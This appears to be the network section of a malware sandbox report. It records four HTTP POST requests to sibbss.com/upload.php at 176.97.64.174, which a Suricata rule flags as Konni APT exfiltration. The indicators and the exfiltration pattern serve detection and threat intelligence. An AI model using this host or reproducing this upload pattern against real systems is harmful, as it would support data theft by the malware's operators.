Network Analysis
| Name | Response | Post-Analysis Lookup |
|---|---|---|
| sibbss.com | 176.97.64.174 |
POST
100
http://sibbss.com/upload.php
REQUEST
RESPONSE
BODY
POST /upload.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: sibbss.com
Content-Length: 54
Expect: 100-continue
Connection: Keep-Alive
HTTP/1.1 100 Continue
POST
100
http://sibbss.com/upload.php
REQUEST
RESPONSE
BODY
POST /upload.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: sibbss.com
Content-Length: 52
Expect: 100-continue
Connection: Keep-Alive
HTTP/1.1 100 Continue
POST
100
http://sibbss.com/upload.php
REQUEST
RESPONSE
BODY
POST /upload.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: sibbss.com
Content-Length: 54
Expect: 100-continue
Connection: Keep-Alive
HTTP/1.1 100 Continue
POST
100
http://sibbss.com/upload.php
REQUEST
RESPONSE
BODY
POST /upload.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: sibbss.com
Content-Length: 54
Expect: 100-continue
Connection: Keep-Alive
HTTP/1.1 100 Continue
ICMP traffic
No ICMP traffic performed.
IRC traffic
No IRC requests performed.
Suricata Alerts
| Flow | SID | Signature | Category |
|---|---|---|---|
| TCP 192.168.56.102:49176 -> 176.97.64.174:80 | 2046820 | ET MALWARE [ANY.RUN] Konni.APT Exfiltration | A Network Trojan was detected |
Suricata TLS
No Suricata TLS
Snort Alerts
No Snort Alerts